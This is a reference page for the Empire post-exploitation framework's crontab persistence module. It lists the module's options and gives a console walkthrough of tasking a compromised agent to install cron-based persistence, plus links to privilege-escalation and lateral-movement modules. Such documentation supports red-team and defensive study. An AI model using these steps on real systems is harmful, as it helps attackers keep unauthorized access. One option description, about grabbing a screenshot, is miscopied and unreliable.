Persistence with crontab - Empire Module
This page contains detailed information about how to use the python/persistence/multi/crontab Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Persistence with crontab
Module: python/persistence/multi/crontab
Source code:
empire/server/modules/python/persistence/multi/crontab.yaml
MITRE ATT&CK:
T1168
Language: Python
Needs admin: No
OPSEC safe: No
Background: No
The crontab module establishes persistence via crontab.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the crontab module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the crontab module:
Agent
Agent to grab a screenshot from.
FileName
File name for the launcher.
Additional Module Options
This is a list of additional options that are supported by the crontab module:
Hour
Hour to callback. 24hr format.
Hourly
Hourly persistence.
Remove
Remove Persistence. True/False.
Crontab Example Usage
Here's an example of how to use the crontab module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/persistence/multi/crontab
Author @424f424f
Background False
Description This module establishes persistence via crontab
Language python
Name python/persistence/multi/crontab
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1168
,Record Options----,----------,----------------------------------,
| Name | Value | Required | Description |
|----------|-------|----------|----------------------------------|
| Agent | | True | Agent to grab a screenshot from. |
|----------|-------|----------|----------------------------------|
| FileName | | True | File name for the launcher. |
|----------|-------|----------|----------------------------------|
| Hour | | False | Hour to callback. 24hr format. |
|----------|-------|----------|----------------------------------|
| Hourly | | False | Hourly persistence. |
|----------|-------|----------|----------------------------------|
| Remove | | False | Remove Persistence. True/False |
'----------'-------'----------'----------------------------------'
(Empire: usemodule/python/persistence/multi/crontab) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/multi/crontab) > set FileName value
[*] Set FileName to value
(Empire: usemodule/python/persistence/multi/crontab) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/multi/crontab.yaml
- http://attack.mitre.org/techniques/T1168
See Also
Check also the following modules related to this module:
- python/persistence/multi/desktopfile
- python/management/multi/kerberos_inject
- python/management/multi/spawn
- python/management/multi/socks
- python/situational_awareness/host/multi/WorldWriteableFileSearch
- python/situational_awareness/host/multi/SuidGuidSearch
- python/privesc/multi/bashdoor
- python/privesc/multi/sudo_spawn
- python/lateral_movement/multi/ssh_launcher
- python/lateral_movement/multi/ssh_command
- powershell/management/enable_multi_rdp
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.